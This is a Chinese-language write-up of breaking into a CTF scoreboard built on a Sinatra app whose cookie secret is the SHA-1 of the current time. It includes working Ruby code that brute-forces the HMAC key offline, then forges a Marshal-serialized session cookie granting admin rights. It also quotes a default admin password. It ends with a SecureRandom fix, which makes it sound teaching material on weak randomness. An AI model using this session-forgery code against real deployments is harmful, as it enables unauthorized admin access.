0x00 背景
上周我参加了一个Bishop Fox和BYU大学举办的CTF比赛,在比赛过程中我决定尝试一下入侵一下计分系统,并且我把入侵的过程记录了下来。
尽管客户端的token欺骗已经不是什么新鲜事了,但是这次的入侵过程可以作为weak randomness漏洞的一个很好的练习。(这次攻击目标所使用的框架并不是像Rails一样常用的框架)
最后说一句:这个漏洞是框架自己带有的而不是Bishop Fox 或者是 BYU的问题。
0x01 cookie运行原理
在开始之前,我推荐你阅读一下这篇博文,他会告送你一个基于ruby的webapps如何处理cookie。
简而言之,ruby会生成一个hash数值作为一个cookie存储在用户客户端像这样
{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }
之后ruby分为三步把他存储到客户端
(1)使用Marshal.dump对数据结构进行序列化
(2)使用base64编码第一步得到的字符串
(3)计算message的HMAC(HMAC被用于message的完整性检查,这是ruby的一种机制以防用户篡改自己的cookie)
当以上三步做完之后,ruby会在头文件中加入如下一段
Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"
实际的cookie是这样
Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"
上述处理cookie的过程有一个漏洞,message中的信息可以被客户端还原,只需要对它进行base64解码和反序列化即可得到原始的ruby object
ruby对于cookie信任的前提是,通过HMAC验证message中的内容必须是有你代码中设定的密钥标记过的,只有这样ruby才会把cookie当做一个有效地凭证。
下图就是上述过程简要流程
如果你篡改了你的cookie,会导致HMAC验证不通过,从而使你修改过的cookie值失效。
0x02 简介
CTF的评分系统是一个Sinatra-based的webapp,它使用了一些基本的Rails机制,提供了一个计分板的效果。看一下代码,还是比较简洁的。
这个webapp有一个有趣的现象就是,默认情况下代码库中没有配置文件,配置文件是在程序运行过程中生成的,下面是创建配置文件的代码。
begin
require './config.rb'
rescue Exception => e
# create default config.rb
open('./config.rb', "w+") {|f|
f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
f.flush
}
require './config.rb'
end
值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s
的SHA-1散列。这段代码中所使用的Time.now.to_s
就是我们所说的不健壮的随机化种子。
0x03 原理
现在我们很容易知道,如果想要伪造cookie,就必须得到一个合法的HMAC字符串,只有得到它之后,我们才可以通过修改session-id来控制session。
这个漏洞的根源是因为它使用了,弱随机化种子,在上文的代码中,SHA1-hashing 加密了一个秒级别的精度的字符串,这样我们就可以使用暴力的方法尝试一天之内秒数只需要60 x 60 x 24
次尝试。
而且我们并不需要把每次的尝试结果提交到web服务器,只需要在本地计算出正确的key,然后再通过它构造出正确的HMAC提交即可。
0x04 POC
为了确定一下我们是否可以破解HMAC,我们可以试一下。
首先,我们从webapp得到cookie和HMAC。如果你想自己测试,copy以下代码运行即可。
require 'faraday'
connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
现在我们只需要不断的获取Time.now和创建HMACs直到匹配为止。我们通过一个循环依次减小时间,直到找到正确的时间使得SHA1散列匹配而得到session key。
require 'digest/sha1'
require 'openssl'
def create_hmac message, key
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end
seed = Time.now
while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
seed -= 1
end
key = Digest::SHA1.hexdigest(seed.to_s)
这样我们就可以成功破解key了,这个key可以帮助我们创建合法的HMAC。
0x05 利用
得到了key,我们就可以找一下源代码中有什么能让我们提升权限的地方。
首先,代码会对cookie进行反序列化。
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
这样修改之后,我们就可以赋予自己管理员权限。
params.merge!({ 'admin' => true })
通过上述语句重建cookie
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"
只要把上面得到的cookie内容,加到header里面就可以获取管理员权限了。
到达这一步只要查看源代码就可以很轻易地获取到每一题的答案了。
0x06 防御方法
我在github上提交了一个修改版本,其中使用这句代替了cookie secret key的生成
Digest::SHA1.hexdigest(Time.now.to_s)
使用SecureRandom库生成随机数
SecureRandom.hex(20)
这会生成一个40个字符的随机字符串
0x07 结论
这篇文章虽然在技术上没有什么实质性突破,但是作为一个弱随机漏洞的例子还是很不错的,希望在思路上可以启发到各位。